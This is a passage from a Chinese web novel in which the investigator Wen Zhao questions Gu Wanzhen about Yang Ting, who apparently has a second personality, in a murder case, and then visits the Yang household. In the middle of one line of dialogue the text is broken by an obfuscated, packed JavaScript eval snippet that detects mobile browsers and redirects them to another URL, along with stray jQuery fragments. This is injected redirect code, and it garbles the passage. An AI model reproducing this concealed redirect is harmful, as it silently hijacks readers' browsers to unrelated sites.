“是,小时候她们家是很宠爱她的,让她上女学,也培养她琴棋书画,小时候她也开朗,并且她娘那时候还没那么……那么向着娘家,杨婷是长女,生得好看,性子也活泼,她爹很喜欢她,出门都带着。”
她顿了顿,苦笑了一下:“我家里的事想必你也清楚,我那时候特别羡慕她,杨家对我也很好,我小时候经常在她们家玩。”
“后来呢?”
“后来……”顾婉贞的目光暗了暗,“后来……因为我在县主府孤身一人,常被刁奴欺压,我就被接进宫里了,我也只是个孩子,刚开始还能和她通信,之后便没联系过了,直到一年之后的元宵灯会,我出宫找她玩,到了杨家之后,她说……她不认识我。“
她垂下眼,手指无意识地摩挲着茶盏边缘。
“我生气了,从那以后,再没主动联系过她。”
“那时候你们多大?
顾婉贞说:“大概七八岁的样子。”
闻昭沉默片刻,又追问:”你没和她联系的那一年里,杨家发生过什么吗?“
“杨家家事我打听不到,但作为外人能知道的事情里,应该是没发生什么的,她爹娘健在,她也没有弟妹降生,若是她受了委屈导致性情大变,可我都找不到她受委屈的根源。”
若是什么都没有发生过,怎么会催生出的第二个人格。
“再之后呢?”
顾婉贞低下头,声音更轻了:“没有再之后的事情了,后来我们就慢慢疏远了,她嫁人之后,更是难得见一面,偶尔在街上碰到,她也只是点点头,不说话。”
闻昭看着她,忽然问:“那昨天,你为什么请她?”
顾婉贞抬起头来,目光里有一丝闪躲。
“我……”她顿了顿,“我只是觉得,她好久没出门了。想让她出来透透气。”
闻昭点了点桌面:”县主,你没有说实话,这样绕圈子,对破案不利。”
顾婉贞盯着她,看了许久,才低声说:“她之前跟我说吴家对她不好的时候,曾问过我,能不能帮她何离……我虽然是县主,但也是靠着家族荫蔽,我自己手中并无权柄的,除非能抓到吴家对她下.药的证据,若是能有证据,我才能帮她。"
“所以那盒点心其实你们已经知道有问题了,她带着点心来宴会上,是想把证据给你。”
“对。”顾婉贞重重点头。
“你们是什么时候合计的这事?”
“半个月前。”
半个月前,杨婷是怎么知道婆母会给她毒糕点的?她开天眼了?
“吴嫣儿和杨婷的关系,”她换了个问题,“你知道多少?”
顾婉贞的手指又顿了一下,很疑惑:“吴嫣儿和杨婷?不就是嫂嫂和小姑子的关系么?”
闻昭沉默片刻,“我是说你觉得她们关系好不好。”
在你们这嫂嫂杀小姑子是什么寻常事吗?
“她们……”她斟酌着措辞,“在外人面前,关系还不错,看着挺亲热。”
亲热?
这个用词闻昭总觉得说不上来的怪。
“私底下呢?”
顾婉贞沉默了很久。
“有件事,”她终于开口,声音压得很低,“我不知道该不该说。”
闻昭没有催促,只是静静地看着她。
“有一回,”顾婉贞说,“大概是一年前,我在街上碰见杨婷。她的手腕上缠着布条,布条底下有血。”
“她说是自己不小心划的。”顾婉贞的声音更低了,“可我看见吴嫣儿站在她边上,笑眯眯的捏着她的手腕,我看见血都渗出来了。”
“啊?”闻昭一呆,忍不住追问道:“那当时杨婷什么反应?”
“她也在笑。“
闻昭:?
不是,我怎么听着好像这个故事里的所有人精神好像都不太正常。
顾婉贞垂头,似乎很有些想不通:“我觉得,杨婷好像在吴家被欺负的很惨,甚至吴嫣儿都能欺负她了。”
闻昭沉思。
再沉思。
再再沉思。
不行了她搞不懂。
“你们家有炭笔吗?”不行了她要拿只笔画一下人物关系图,她的cpu要烧干了。
“有。”顾婉贞站起身来,“你要炭笔做什么?想作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451379|201175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
画吗?”
不得不说,顾婉贞这种标标准准的大家闺秀,遇到所有事情大概都是不理解但尊重的态度,就比如前脚闻昭才说有没有炭笔,后脚炭笔就递到她手边了,她一点也没思考为什么闻昭问着问着案子就想画画了。
不理解,但尊重。
闻昭捏着炭笔,一开始不太顺手,试了几次才算是把人物关系图画出来——
两个杨婷,一个是正常的杨婷,性格懦弱但小时候其实挺幸福,嫁给吴聪和之后婆家不喜欢她,饱受委屈,属于苦情版。
还有一个是黑化版,也就是**的这个杨婷,她就不知道咋回事了,不知道这个人格和吴嫣儿发生了什么,也不知道她和吴嫣儿是什么故事,总之就是她现在**了。
而吴嫣儿,本案死者,身上早有多处伤痕,这些伤痕经年已久,按照深宅闺秀的生活规律,大概率是她们家的人造成的。
目前已知杨婷黑化版早已出现,那么当初顾婉贞碰见的那个手腕渗血还和吴嫣儿一起捏着伤口笑的,按性格来说,应该是黑化版。
闻昭站起身来,“我想去一个地方。”
顾婉贞茫然的也跟着站起来,“去哪?我也去。”
闻昭本来想说你别去了,但后来又觉得她陪着也行,县主的身份走哪都方便,况且杨家那边还不知道怎么样,案发到现在两天时间,杨家也没派人来大理寺问过。
……
杨家。
杨家住在城东甜水巷,宅子是三进的,门脸气派,两扇黑漆大门上的铜环擦得锃亮,门口的石狮子也养得油光水滑。门楣上那块“杨府”匾额是烫金字的,笔力遒劲。
闻昭递了帖子,不多时,一个穿绸衫的管事快步迎了出来,恭恭敬敬地将她往里引。
杨家的宅子收拾得极好。过了影壁,便是抄手游廊,廊下挂着几盏羊角灯,柱子上的漆是新刷的,亮得能照见人影,正堂坐北朝南,面阔三间,当中悬着一块“清正廉明”的匾额。
闻昭扫了一眼堂中的陈设——紫檀木的桌椅,官窑的青瓷瓶,墙上挂的是前朝名家的山水,**架上摆着几件古玉,一看就价值不菲。